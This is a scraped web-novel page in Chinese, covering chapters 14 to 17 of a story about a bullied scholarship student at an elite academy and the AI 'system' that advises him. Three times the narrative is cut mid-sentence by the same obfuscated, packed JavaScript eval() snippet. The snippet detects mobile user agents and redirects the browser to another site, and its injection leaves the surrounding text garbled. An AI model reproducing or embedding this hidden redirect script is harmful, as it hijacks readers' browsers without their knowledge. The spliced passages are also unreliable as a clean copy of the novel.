时野的歪脑筋跟周谢这种死脑筋就是天敌,互相能让对方超级不爽。 莱昂把校服外套拿回来,思索着怎么把时野扯入面前这个混乱的战局,忽然听到旁边弱弱的声音: “那个——” 莱昂思绪暂停,连忙打断,“小笨蛋,你不会又要说对不起谢谢你了吧。别,咱们这位周会长出了名的软硬不吃。” 温绒甩头哼声否认,深吸一口气,抬起头勇敢把目光挪向上,领口、下巴、眼睛……哎不行,这个带臂章的同学长得有点凶。 莱昂好奇了,“你想说什么?” “请问……” “没关系,慢慢说。” 几秒钟的前摇以及莱昂学长的鼓励让温绒终于攒足勇气,张开嘴大胆询开口: “请问你们缺志愿者吗?我可以跟你一起工作吗?” “……” “……” “……” 铛—— 教堂里的钟声敲响,白鸽受惊,展翅划过天空,影子零零碎碎地落在所有人脸上。 14. 第 14 章 噗嗤 莱昂唇角努力压了压,没压住,回过身捂着嘴大笑。 临近几个学生勉强还能从对话里知道弗罗里曼学院底层人士妄图进学生会,后头的学生就懵了,发出不满的议论声,有人心里不爽又怕被认出来,捏着鼻子吼了句“特招生在干嘛,能不能让开”。 周谢僵硬地放下手。 他从栗色头发手里拿过pad,强装镇定地登录黒鸽学生会后台系统,“你叫什么名字。” 温绒大喜:“我叫温绒,温柔的温,绒毛的绒。我很勤快——” 周谢打断他,“没穿校服,记一次黄牌。进去。” “可是我想——” 周谢再次打断他:“你不想,滚进去。” 温绒感觉到火气,以为自己做错了事情,不敢再说话。 他对自己产生一些怀疑。 好像这种主动尝试是不对的,不太有分寸,并没有让别人舒服。 一只手忽然搭在他肩膀上。 很轻很轻,像一捧热水,细细密密地淌过皮肤,烘暖僵硬的骨头。 力量重新回到身体。 “小笨蛋眼光不错。”莱昂学长笑盈盈道,“咱们学生会是为学院做贡献的组织,可惜长久以来一直人力不足,就需要你这样热心勤恳的孩子帮忙。这个,是我们学生会的会长周谢,六年级,外号‘癫狂荷官’,天天拿校规追在学生后面发牌……对我校学生纪律作出巨大贡献,跟着他前途无量。” 莱昂学长说话时总带着懒懒的腔调,又很有节奏,像唱片机放出来的古典音乐,夹杂着一种年代的陈旧感。 音乐让温绒觉得自己的行为被赞同了,心口涌出难以言喻的喜悦。 “过来,学长传授你申请进入学生会的经验。” “嗯!” “莱昂·冯·勒文斯坦——” 冰冷的声音令莱昂停下脚步。 莱昂嘴角勾起一抹笑,手在温绒后背轻轻一推,“进去吧。” “学、学长?” 温绒回头只看到莱昂学长朝自己挥手,“进去吧,小笨蛋。学生会是个大坑,千万别进,新网球社更适合你。” “可是——” “烦死了,挡什么路。” 温绒还没组织好语言就被不耐烦的人群推搡到了里面。 莱昂维持着挥手再见的姿势,转头看向这位伪装得极好的斯文败类——眉头紧拧,下三白的眼珠子从下至上轻微挪动,正在进行一种相当危险的审视。 在他开口之前,莱昂举起手机,“哎哟,又来电话了,到底是谁这么着急找我啊,我去接个电话。” “接完电话回来。” “新生我都送进去了,回宿舍忙活去~” “……你上周申购的材料想按时到货吗?” 学校为优秀学生提供任何资源,但“资源”由学生会采买分发。 莱昂无奈把手机放回口袋,“我回来我回来。” 深受威胁的莱昂余光瞥见远处有三个人正偷偷摸摸翻越社团招新现场的围栏,没有忍住“噗嗤”笑出声。 “嘲笑学生会会长,记一次黄牌。” “喂喂,谁笑你了。” “记牌是我的权力,我有唯一解释权。” 莱昂:“……” 算了。 要是信了这位学生会会长刚正不阿铁面无私,他才是真笨蛋。 莱昂望着远处,不禁想,黒鸽八卦的几位真是闻着火药味儿就来了,这场社团招新,有“新老网球社更替”,还有“哪个冤种社团接收特招生”,刚刚再加一条“特招生想进学生会”,真是劲爆。 相关帖子能在论坛首页飘一个月吧。 - 场内,温绒踮起脚尖也看不到莱昂学长,有些懊恼。 【宿主为什么想进学生会?】这个想法突然到系统也没找到逻辑。 温绒走到树下给其他同学让出路,“我只是猜,如果我也能戴那种臂章,大家应该就会喜欢我了吧。” 温绒在人际交往方面没有任何经验,但他很会做题,如果遇到处理不了的难题,他可以模仿别人的答题方式。 小学时候的“大队委”,身为“小班”的学长,他们好像都在学校里担任着一个职位。 只是现在新的问题又出现了。 温绒心里有些忐忑,“哥哥,我是不是又惹别人不开心了,刚刚那个学生会的学长好像很生气。” 【宿主,那是F4之一,周谢。弗罗里曼学院所有学生里权力最高的人,按照剧情以后他会带全校学生一起欺负你,所以不用考虑他开不开心。】 温绒面色一僵,“他和时野是一伙的吗?” 【目前F4处于分崩离析状态,不过等主角进校后他们会是一伙的。】 温绒瞬间打消进学生会的念头。 他决定不再默默挨欺负,肯定也不能上赶着被欺负。 跟其他同学缓和关系这件事,再另想办法吧。 - 随着所有新生进入社团招新现场,气氛逐渐热络。 温绒被放着动感音乐的喇叭吸引,他不知道那是什么歌,身体不受控制地靠近。 即使他矮矮的个子被排除在人潮外,音乐仍然激发他踮起脚尖,勉强从肩膀的缝隙中一探究竟——台上有人在跳舞。 动作潇洒,像极了他曾在电视上看到的迈克尔杰克逊。 哇! 亲眼看到跟在电视上看到是完全不一样的。 人墙摇摆,大家举起手跟随鼓点舞动,温绒是很内向的人,不知道什么时候也跟着举起了手,两只脚尖笨拙地垫起来。 他满面笑容,眉毛弯弯,眼睛也弯弯。 平生第1次觉得自己融入了热闹。 音乐到高潮时,温绒不自觉偏过头,想跟旁边人分享自己的激动。 可身边的人看见他,眼睛下瞥,扫过他身上不同寻常的打扮,向外挪开半步。 温绒的脚跟缓慢落地,身体凝滞了几秒不知道该作何反应。 直到那个人转开头去跟身边的人聊天。他才微微低下头,在心里小声地跟系统说:“哥哥,他们好厉害,怎么那么会跳舞。” 【因为那是从十岁就跟亲爹全球巡演的星二代,16岁时出的专辑成为当年全球最畅销唱片,目前全球粉丝高达4.8亿。】 温绒对4. ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769224|157812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 8亿没有什么概念,绞尽脑汁找自己在春晚上看到的明星来辅助理解。 就在这时,一个东西擦过他的后脑勺。 他回头看到悬在空气中的马屁股,白尾巴晃荡晃荡。 看了半秒,才反应过来那是人戴了个马屁股的道具在头上。这一刻,音乐声变成了一个吃人的怪物,温绒被咬得很痛,他逃命似的追在马后面来到另一个社团。 这边的人不算多,温绒能站到第一排去。 除了那匹马,还有穿着公主骑士服装的人在表演。 公主竟然是个学长装扮的! 第一次看到男孩穿裙子的温绒瞪圆眼睛,好像发现了新世界。 【里面还有很多有趣的社团,每年社团招新都是依照社团排名排的位置,越靠里厉害的社团越多,你可以再进去看看。】 靠里就多了些奇奇妙妙的社团。 路过一块屏幕时,温绒停了下脚步。 屏幕上循环播放日出的视频,让他想到每天从福利院后山的太阳,也这么圆,这么亮。 温绒忍不住想要伸手摸摸的时候,屏幕骤然一黑。 他连忙收回手,转头看见站在远处的学长嬉笑,“别看了,我们社要求社员每周坐飞机去世界各地爬山,你买得起机票吗?” 他甚至没坐过飞机。 温绒窘迫地离开。 可能是学长嬉笑带来的连锁反应,他走着走着,莫名感觉每个社团的学长们都在看自己,目光跟今天楼梯上的其他同学没有区别。 如果靠近,那些眼神里会多一点恐惧,好像很怕跟自己沾上边。 温绒不想沉浸在被“孤立”的失落情绪中,在心里玩起“我是外星人”的游戏。 每走到红绿灯、或者其他监控的路段,他昂首挺胸,脚尖比其他时候垫得更高,假装有风吹自己的头发,还很帅气地拨弄刘海。 等着未来某一天科学家翻看路面上的监控,特地把自己的这段画面放大,说:“这个人跟其他人不一样,应该是十多年前乘坐宇宙飞船落到地球的xxx星人。” 多酷啊! 我融入不进别人,因为我是神秘的外星英雄。 给了自己一些勇气,抬手拍拍两边腮帮子。 临近中午,太阳爬到头顶,晒的头发都滚烫滚烫。 忽然,一个黑色的东西在眼前放大。 温绒还没看清那是什么,他的视线瞬间被遮蔽。 嘭—— 嘎吱 温绒被撞得一屁股摔到草地上,手用力摁住酸痛的鼻子。 砰砰砰砰 网球仍然在草地上弹跳,幅度越来越低,直到最后静止。 来来去去的黑色制服纷纷停下,几秒后,黑色从线连成片。 “特招生怎么了?死了?” “被网球砸到了。” “谁打的网球?” “网球社的呗。” 网球社的方向,一个皮肤黝黑的男生从篮子里拿起新的网球。 “学弟们有兴趣的可以加入网球社,我教大家玩网球。” 砰—— 新的网球直直从温绒脸颊边擦过,留下一片火辣辣。 15. 第 15 章 剧痛,晕眩。 温绒全身痉挛,极力摁住鼻梁跟脸颊,企图用压迫来转移骨头里散发的酸。 忍耐到大脑缺氧的时候,他心里生出邪恶的想法:为什么不是别人当外星人。 这个世界给大多数人分配了父母、兄弟、朋友,大部分学生都可以安安静静地读书,而“特殊”永远降临在自己身上。 温绒知道这种想法不对,但他真的承受不住了。 他抬头望天,迫切想要知道压得自己喘不过气的到底是什么东西。 但看不见。 他看不见,别人也看不见,没有人帮他除掉身上的负担,他自己也无法缓解。 反而炽热的阳光刺得眼睛剧痛,眼泪刚冒出来就蒸发,眼皮子每次盖下,都像倒刺刮过眼球。 温绒疼得抬手挡太阳,阴影落下之前,手上的血滴在鼻尖。 恍惚间,血跟手出现重影,缓慢褪去颜色。 一只更小的手,血淋淋地叠在掌心。 刚上一年级的小温绒走出医务室,受伤的地方仍在发痛,迎面挨到两个耳光。 老师连忙把疯狂的女人拉开,偏偏女人挣扎得厉害,两手穿过空隙,尖锐的指甲再在他脸上留下三道血印。 同时留下的还有操着地方口音的骂声:“没娘教”“没人要”…… 小温绒呆愣地抬手往脸上摸了摸,举到眼前一看,满手血。 他第一次看见那么多血,也第一次看见“母爱”。 女人是跟他打架的那男孩的妈妈,很爱那男孩,来学校后一直抱着男孩哭,还完全不讲道理地撒泼打滚将事情闹大,把警察都叫来了学校。 “这次定性为互殴,你们互相道个歉,以后要做好朋友知道吗?” 小温绒解释:“警察叔叔,是他先打的我,他打我好多天了。” “你也打他了。” 院长说:“警察先生,确实是这孩子一直欺负小绒,小绒没办法才还手的。” “小孩子嘛,打架很正常。以后都别打了知道吗!再打叔叔把你们都抓起来。” 离开学校的时候,女人一手牵着做鬼脸的男孩一手叉着腰骂:“没人教的狗东西,给我退学!不退学我就写举报信到教育局。” 小温绒一个字都听不懂。 他扯了扯院长的袖子,“院长,他是坏孩子,警察叔叔为什么不抓他去坐牢。” 院长并没有回答他的问题。 新的一周,小温绒被送去另一所学校念书。 温绒很笨,想不明白为什么受惩罚的会是自己,又很偏执,很想很想知道为什么自己被欺负后得不到道歉和关心,反而要转学。 ——直到有天看新闻,一个小孩因为失手杀了欺负他的孩子被抓去坐牢。 他从那一刻起便不再想这个问题了。 那则新闻像一捧土盖在他身上,把所有邪念都埋住,同时种下一颗种子,发了芽——他不能坐牢的,他坐牢就不能读书不能找爸爸妈妈,也不能找好工作过好生活。 后来这颗种子在他的尸体上开花、撒粉、繁殖,彻底把他湮没,再也看不见人样。 那些脆弱的花也是倒霉,生在他这样的人身上,享受不到阳光明媚的日子,死了又生,生了又死,活得一点都不快乐。 温绒叹口气,任由身体坠入杂念汇聚而成的深海。 咚咚咚,心脏在窒息中跟打鼓一样响亮。 他的视野开始迷糊,周遭逐渐变为黑色。 片刻后,这黑再次变换,残缺陈旧的墙夹着水泥地,长廊深且暗,一点光都照不进。 袖子被扯了扯。 小孩高高举起举起两只血淋嘀嗒的手。 白玉雕琢的脸蛋儿皱了又皱,委屈地扁嘴,不敢哭,也说不出话。 温绒知道,他在害怕,想问“流这么多血会不会死”。 ——只是一个既天真又怕死,却祈求过幸福生活的小屁孩罢了。 温绒蹲下身,用袖子细心擦去他手上的血,“不会死。” 肯定的答案像是安慰,小孩肩膀一抽,咬住嘴无声地抽泣。 真可怜。 温绒给他擦脸,无意中把血全糊上人家的脸蛋。 “好了,我知道这样的日子不开心,以后真的不这样了。” 【宿主?】 【宿主,你趴地上也好抱头也好,别愣着。】 AI声驱散黑暗。 小孩的脸连同记忆里的学校都化成风吹向天穹,温绒撑着草地站起来,手背往脸上一抹,洁白的皮肤顷刻被血覆盖。 “哥哥,我想兑换东西。” * 万里无云,天和教堂融为一幅油画。 莱昂接受周谢的批评教育后终于重获自由,悠哉悠哉走下白色阶梯。 “你完全没有必要帮特招生。” 李奥,周谢身边的得力干将,连带着时野,四人从懂事起就经常被带着去“妈妈的茶会”了。 李奥跟周谢是表兄弟,关系更亲近些,所以时野跟周谢闹翻时李奥毫不犹豫站在周谢身后。 莱昂保持中立,目前跟两方关系都还不错。 他一直都是这样的人,不偏袒一方,也不站队,隔岸观火,置身事外。 李奥再重复一次,“你别帮特招生。” 湛蓝眼底灌满笑意,“身为认真负责的小班主任,我要好好照顾学弟呀。” “没有必要,特招生在学校里根本呆不久。” “未来的事谁知道呢。” 在没有拿到魔方之前谁都想不到温绒能玩得那么好。 莱昂仍然对温绒的底色保持好奇。 人怎么可能一点脾气都没有? “不说特招生,眼下有一件更麻烦的事。” 莱昂兴致缺缺,“如果是关于时野的就不用说了。” “现在申请进新网球社的新生非常多,周谢很头疼。” “这说明赵泽阳确实不是个好社长。” “如果仅仅因为不满意就搞一个新社团出来,学校就乱套了。” “什么乱套了?你们又不是校长操什么心。再说了,扯社团做什么,周谢不就是怕大家效仿时野把他这个学生会会长搞掉嘛。他少对大家做点服从性测试不就好了,大家都是正常人,又不是M。” 李奥被“M”这个字母堵了下,还是坚持,“秩序稳定需要通过规则来约束,我认为我表哥没有做错。时野就是在带坏学校里的风气。” 莱昂不可置否,目光挪到李奥的一头卷毛上。栗色的,阳光下更浅一些,还是小时候那只会跟在周谢后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769225|157812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面跑的小狗。 “你怎么不说话。” 莱昂:“我说什么?我说我想当S你表哥会让位吗?” “你是不是在生气,能不能好好说话——” 肩膀在这时被撞一下。 跑过去的人连忙回头道歉,“对不起学长,对不起。” 莱昂点一下头接受道歉,心说幸好有你,不然我就要把小狗惹毛了。 他顺着那人想要跑去的方向看,见垒得跟香槟塔似的奖杯被阳光一照,闪得眼睛疼。 “赵泽阳变成暴露狂了,怎么还强制别人看网球社尘封多年的底裤?” 李奥不理他的污言秽语,眯起眼睛问男生:“那边怎么了?” 男生有点怕,含糊回答,“看热闹。” “我要听具体事件。” “网球社在找特招生麻烦,把特招生打死了。” 好像应证这话似得,远远传来一声中气十足的吼,“赵哥再来一球!” 莱昂脸色陡然剧变,拔腿冲进人群。 网球社社员在奖杯塔下鼓掌叫喊,“赵哥厉害!” 赵泽阳飘飘然,比几个月前时野举起公开赛奖杯时还要得意,笑得脸上都看不见眼睛,“哈哈哈谁让那个蠢货动也不会动。” “赵哥快再来一球”、“赵哥牛x”。 人群中出现有另外的声音,“学长,这样不好吧。” 网球社众人嚷嚷,“关你什么事,你想跟特招生一伙吗?”“滚开,网球社的事少管。” 那声音嚎道,“学长速度那么快谁看得清啊,应该多打几球让我们学学!” “哈哈哈哈” 赵泽阳受到极大的鼓舞,嘴角几乎咧到耳根,“好嘞,今天多给大家展示展示。” 荧绿的球抛上天,赵泽阳仰头,举起拍子—— 一道黑影骤然从莱昂面前窜过,带起风,速度之快,目光追过去时瘦小身影已经一拳打偏赵泽阳的脸。 网球悄然落地。 温绒扯回赵泽阳的脑袋,直直砸向奖杯塔。 轰隆隆—— 网球部的家底分崩离析。 球拍落地,赵泽阳变为一摊软泥,顺着桌子滑下,两腿跪地,直直倒到草坪上。 这一系列动作过于突然和短暂,仅仅只在一呼一吸之间,所有人都来不及反应,甚至以为是幻觉。 过了很久,才有人惊叫: “社长晕了。” “流血了!快快快叫校医。” “赵泽阳违反校规第三十二条,寻畔滋事,取消社团招新资格。” 李奥的声音像一颗炸弹,引导网球社众人爆发,“凭什么!”“艹!你竟然敢还手——”“我要打死你。” “校规第三十一条,禁止使用暴力,违反者退学。” “我……特招生对我们社长使用暴力,他退学!” “退学!” 吼声一阵高过一阵,温绒不为所动,静静站在乱流之中,阳光把柔和的颌面削成凌厉形状。 莱昂望着,陡然一笑。 他就知道,“温吞”、“乖巧”、“迟钝”,这些需要用爱和金钱浇灌出来的性格,不会真正出现在长期经受暴力的孤儿身上。 那你接下来要怎么办,背着上亿债务退学么。 16. 第 16 章 叮叮叮 几乎在同一时间,所有人的手机作响。 网球社众人打开手机,看见社团招新被除名的消息,大声惊叫:“凭什么?” “是特招生惹的事。” “我们社都被他搞没了!特招生必须负责。” 一行男生穿着网球社的白色运动服,个子高,浑身肌肉,随便挑一个出来都比温绒要大得多。 温绒彻底被男生们的影子盖住了,像被群狼环伺的猎物。但仍然留在原地,只用力吸鼻子,血液涌入喉咙,呛了一口,勾着背吐出血沫。 他又拿袖子去擦,冷不伶仃憋出句话,“我才不管你们。” “你他妈——” 几个网球社的男生气势汹汹欲要动手,顿时又想起刚刚温绒一拳把自家社长打晕,看起来战斗力不弱。 在这迟疑的一两秒钟,莱昂走到一行人跟温绒中间,温声提醒,“想被退学吗?” 男生们面面相觑,迅速达成共识,再一次往前,有要靠人多压迫莱昂不要罩着特招生的架势,“莱昂你不可以这样护着他,如果学校不处置特招生的话我就每天写一封举报信到校长那里。” “我们社都被他搞没了!” “他还动手打我们社长。” 莱昂笑而不答,伸腿勾了把椅子过来,摁着温绒的肩膀坐下。 这就让气氛有些不上不下了。 网球社众人话都放这儿了,莱昂理都不理,面子上过不去,但谁也不敢真惹莱昂。 “校医来了。”不知道谁喊了一声,几个男生不约而同地回到赵泽阳身边。 校医背着医药箱进来询问:“受伤的学生在哪?” “这里这里。” 莱昂举起手,“这里也有。” 两个医生默契地对个眼神,分开正准备一人看一个学生。忽然,网球社男生们追上来把走向莱昂的医生拉走,“他没事,他就一点皮外伤,我们社长晕了,先看我们舍长。” 莱昂垂下眼眸,盖住湛蓝眼底的不屑,“至少把医药箱给我吧。” “哦哦”医生将医药箱递给临近一个男生,“麻烦递过去。” 男生甩手,“我不去。” 医生硬塞过去,“就递一下,帮个忙怎么了。” 莱昂难忍地吐出口气。 他厌蠢。 非常厌。 这群在“天赋比拼”中败下阵来的废物已经彻底退化成单细胞生物,展示出三岁小孩都不会做的劣质行为艺术。 真想…… 袖子在这时被扯了一扯。 莱昂紧拧的眉迅速舒展开,打散脑子里所有的厌恶情绪。 他摸出手帕想要递给温绒,视线不经意略过摇摇欲坠的眼镜——心脏顷刻间重重撞上胸腔。 阳光烈烈,琥珀眸子泡在一汪水里,若有若无地闪烁着白金色,静静地、静静地望着他。 让人想起趴在阳台边看风景的猫,松软的毛发都被缀上灿烂,眼睛更是宝石一样迷人。 莱昂一直都知道温绒是漂亮小孩。 并不难发现,贫穷在温绒身上留着痕迹,但他仍然温顺乖巧。 气质能决定一个人的长相。 只是莱昂没意识到,温绒的眼睛会这么漂亮。 他下意识将手帕攥进手心,用指尖碰了碰阻隔视线的眼镜,“我碰眼镜会疼吗?” 乖小孩抿唇憋了两秒,闷闷点头。 莱昂笑,“赵泽阳现在应该跟你一样疼,这样想心情会不会好一点。” “我不管他疼不疼,他欺负我。” 网球社众人一听,急忙甩锅,“谁欺负你了,我们只是在练球,谁让……” 被迫接过医药箱的男生被其他人推搡着向前,猝不及防冲到莱昂背后。 莱昂他是万万不敢惹的,迅速住脚,身体往旁边斜跳出去几步。 站稳后,男生接着把没说完的话说完,“站在路中……” 他的声音戛然而止,因为他猛然发现周遭竟然只剩下自己的声音。 直到一声传来闷哼传来。 噔。 劣质的黑框眼镜落到桌子上,莱昂单手捏着张小脸——巴掌大小,皮肤剔透得像玉。 眸子晶莹,鼻梁细挺,唇瓣连同下巴被血染得极红,像遵循本能吃了人却还没意识到自己“犯下罪孽”的小吸血鬼。 浓密的眼睫缓慢翩飞,懵懵懂懂。 男生莫名感到脖子发烫,抬手摁住那个地方,喉结不经意间上下一滚。 这样的小鬼,让人……让人根本不舍得冲他发脾气,就想轻声细语地问:想吃吗?够不够得着?我躺在你腿上让你慢慢吃好不好? 靠,我在干嘛?! 男生往自己脸上抽一巴掌,失措地偏头,发现四周仍然安静得可怕。 所有人像被关进密封的罐子里,共同争夺稀薄的氧气,呼吸都有些重。 莱昂终于松开小脸。 小巧的下巴定了两秒,一卡一顿地将要放下。 “别动。” 蹭一下,下巴又仰上去。 很乖很乖地,一动不敢动,并拢双腿,两手紧紧捏着膝盖,皙白的指骨在牛仔裤上蹭出一道浅浅的湿意。 风一吹,凌乱的刘海被掀开,漂亮脸蛋上露出和煦甜腻的笑容,“谢谢学长。” 声音怎么能那么软? 男生浑身都开始烫了。 “医药箱呢?” “……” “校医——” 男生猛然回神,傻乎乎把手里的东西递过去。想到什么,又匆忙收回,手指莫名失去力气,在盖子上滑好几下都没有成功掀开,一时气恼骂了句“靠”,发泄似的把医药箱放到桌子上。 就在这时,一只手迅速掀开盖子,箱子里又立马出现无数双手。 男生与生俱来的危机感提醒着他“东西被抢了”,立即抱起箱子。 箱子却在这一刻变得极重,他差点抱不住。 等再回神,手上就剩个空荡荡的医药箱,被隔绝在人群之外。 “酒精在我这里,伤口要好好消毒,不然留疤。” “别用酒精,用我这个碘酒擦伤口不会疼。” “莱昂学长你忙得过来吗?要不要我帮你。我经常处理伤口,我熟手。” 一群人争先恐后地凑上去,场面忽然热络起来。 特招生显然被吓到了,大眼睛瞪得老圆,想躲,又谨记莱昂学长的命令,艰难地仰起下巴。 没有眼镜做缓冲,一双实在特别的眼睛频繁眨着,像个可爱的小呆瓜。 众人忍不住夹起声音,“你叫温绒吗?” “什么rong?” “你鼻子一直在流血,是不是很疼?” 不知道谁说了句“都怪网球社那些人太不要脸了,欺负人还恶人先告状”,抱着空医药箱的男生忽然感到所有指责的视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769226|157812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 线,包括网球社众人的,都落在自己身上。 顿时大惊,“我我我我——听我解释。” “别怕啊,我是站在你这一边的。” “我帮你找校长投诉。” “你大爷的,别挤我……温、绒,你还疼吗?你怎么不说话。” 温绒被欺负过、被孤立过、勇敢尝试但失败过,从来没碰见过这样诡异的转变,他的大脑宕机了,两片瓣唇发出微弱求救:“学、学长……” “放下来吧。” 莱昂垂眸不看任何人,嘴角毫不掩饰地露出一抹嘲意,“喜欢什么就说出来,不喜欢也要说。” “嗯!” 温绒深受鼓励,站起来,跟周围所有人鞠躬。 “不用不用。” “我们就是帮个忙。” “……” 他喉咙卡了一下,但认真思考两秒后,还是开口: “请不要再围着我了,我不喜欢你们。” - 《黒鸽八卦组实时爆料:某旧人被特招生打晕了!》 1楼:[众所周知,今天是社团招新会,咱们新老网球社抢人的大战场!某旧人见新人那边人满为患,于是想出折腾特招生的损招。] 2楼:[特招生晕了?有图吗看看图。] 3楼:[好可惜没去凑热闹,有没有现场大佬详细讲讲特招生被揍成什么样了?] 4楼:[请认真审题,是特招生把某旧人给揍了。] 5楼:[???] …… 这个帖子虽然火爆,但很快被另一个谜语帖子压了下去。 《15楼哥诚不欺我,懂的自然懂。》 1楼:[?什么意思。] 2楼:[怎么有人能长得那么乖?好想抱起来亲亲。] 3楼:[他就连拒绝我都好礼貌,还给我鞠躬,真后悔没有当场跟他一起鞠躬,错过了夫妻对拜将是我一生的遗憾。] 4楼:[不喜欢四舍五入就是喜欢,他绝对喜欢我。] 5楼:[你们这些小三小四都滚开,我一眼就认出这是我逃婚的老婆,伪装成这副样子防止我发现。] 6楼:[这个帖子到底在谜语什么?我怎么看不懂。] …… 75楼:[在现场,个人觉得特招生也没多好看,很一般啊。] 激烈讨论的帖子沉默了一瞬。 在这一瞬间,无数双手激情打出上百字,把毕生所知最优美的形容词都输入文字框。 忽然,跳出76楼:[关特招生什么事?] 无数双手暂停动作。 75楼:[他们在说特招生啊。] 76楼:[?你在逗我] 78楼:[你觉得我很蠢吗?] 75楼:[他们就是在说特招生啊!] 79楼:[75楼哥开除学籍,不想跟这种暗戳戳夸特招生的人当校友。] 无数双手删除世界上最优美的形容词。 …… 101楼:[我懂了,某神秘美女结婚当天狠狠把某兄弟甩了,女扮男装来到弗罗里曼学院读书,现在神秘美女身份已破,众哥们一见钟情?] 102楼:[原来如此!] 103楼:[101楼真相了。] 104楼:[有人说说神秘美女到底是谁吗?不会是每天跟我同进同出的兄弟吧?我可是真心把他当挚友的。] 17. 第 17 章 温绒还不知道自己成为了匿名论坛里的逃婚·女扮男装·神秘美女。 校医抽出空给他处理完伤口后搬走了晕倒的赵泽阳,莱昂学长亲自送他回宿舍,走之前还吩咐谁敲门都别开。 温绒不太懂谁会来敲自己的门,不过还是听话反锁。 随即他后背贴着门,双手握拳,泛白的骨节微微发抖。 以为宿主因为社团招新的事感到低落,系统轻轻喊了声:【宿主?】 温绒忽然向上挥出一拳,“哈!” 【?】 又奇奇怪怪地扎出一个马步,“啊哒!” 【???】 随即一个冲刺跳到床上,抓起枕头砸到墙上。 系统终于发现,宿主现在一点都没难过,他在回味反击赵泽阳的动作。 “报告队长!9527完成任务。”温绒敬个少先队员礼,骄傲站直,帅气跳下床。 系统:还有点中二。 系统模拟鼓掌声:【啪啪啪啪】 【请问9527,勾拳师出何处。】 “院长放《霍元甲》的时候学的。” 【这好像不是霍元甲的姿势。】 “是《霍元甲》里面的外国人。因为外国人总是挨打,我也是,很有借鉴意义!” 系统:宿主你还挺会找借鉴对象的。 它又问:【摁着人家脑袋砸奖杯的姿势呢?】 温绒沉吟片刻,并没有刚才那么高兴,“我以前高中的校霸。” 【……】 温绒忽然又对着空气打几拳,重新恢复笑容,“哥哥,力气大真的很好!以后我要天天锻炼身体,练肌肉。” 【宿主刚才动手有考虑过后果吗?】 系统没有指责的意思,只是单纯好奇,之前那么能忍的宿主忽然爆发,是冲动还是深思熟虑后做的决定。 它想确认一件事。 遥想半小时前,黑暗的洞穴中,荧绿数字垒起来的“大楼”摇摇欲坠,面临崩塌。 系统急切呼唤宿主:【宿主别怕,还记得我说的吗,在这个世界你不会有生命危险。】 【宿主你先冷静下来,现在所有人都看着,你不会出事。】 【宿主你还要兑换神秘大礼,你还要找这个世界的爸爸妈妈。】 宿主的面板数值全部出现极低状态,空荡荡的条形框闪烁红色。 这是非常危险的信号,代表宿主处于崩溃边缘,极有可能死亡。 砰 在情势险峻的时刻,好像有什么东西爆炸。 空白的条形框内闪过一抹红色。 像接触不良的灯泡,亮、灭、亮、灭……滋滋滋,仿佛能听见电音。 “哥哥,我想兑换‘无论经受什么都能死死挂住的力气’。” 那时候,温绒的语调跟现在有很大不同。 数值也是。 攻击力一栏从最初始的0,涨到了10。 这是从未有过的案例,简直匪夷所思。 所以现在除了情商为0这个实打实的数值,系统有些也不相信包括智商在内的所有数据了。 能把涩情的‘无论经受什么都能死死挂住的力气’扩展理解为‘一拳把人打晕的力气’,宿主不该是个真笨蛋。 “我想好了的!如果要我跟他和解,就是他砸我我揍他,大家扯平,我以后天天做任务赚积分,还要锻炼身体,再遇到他我也不会吃亏了。” 温绒对着空气又打出邦邦几拳头,“如果把错误全归到我身上,我就找记者公开这段时间在学校里受到的霸凌。你上次不是说这所学校招收我是为了向平民阶级输出‘好印象’吗。那些人都不考虑我的感受,我也不要考虑他们了。” 【被退学的话宿主要背上上亿的债务。】 “他们先欺负我,不帮我主持正义还要我赔钱,简直是霸王条款,我要找律师告他们。” 温绒转身开窗,风灌进来,隐隐约约存在着浓郁的桂花香。 他闭上眼睛,抿唇扬起嘴角,脸颊荡出一个小酒窝。 良久,深吸一口气,张开嘴对着风说:“我不要再受到不公平待遇了。” - 社团招新结束后新生再也没有集体活动,莱昂学长在群里通知接下来只需要周末到大礼堂参加开学典礼,其他时间自主安排。 温绒安静过了一天,一直没等到关于打架的处罚,甚至连莱昂学长的消息都没有。 第二天下午反倒受到黒鸽的系统消息,通知他下午七点到校务楼303号厅。 弗罗里曼学院跟多个品牌签订了协议,学生校服一对一专门定制,付款后这些品牌会立即派设计师坐飞机赶到学生家里为学生量尺寸。 因为温绒在黒鸽系统里没有“家庭地址”,也正值开学,这个地点就定在了学校。 距离七点还有两个小时,系统教温绒使用电子地图搜索校务楼的地址,确定走过去只需要20分钟后,迅速洗了个澡,换身干净衣服出门。 他计划先吃饭,吃完饭走过去还能提前20分钟到。 不过现在应该能提前30分钟到。 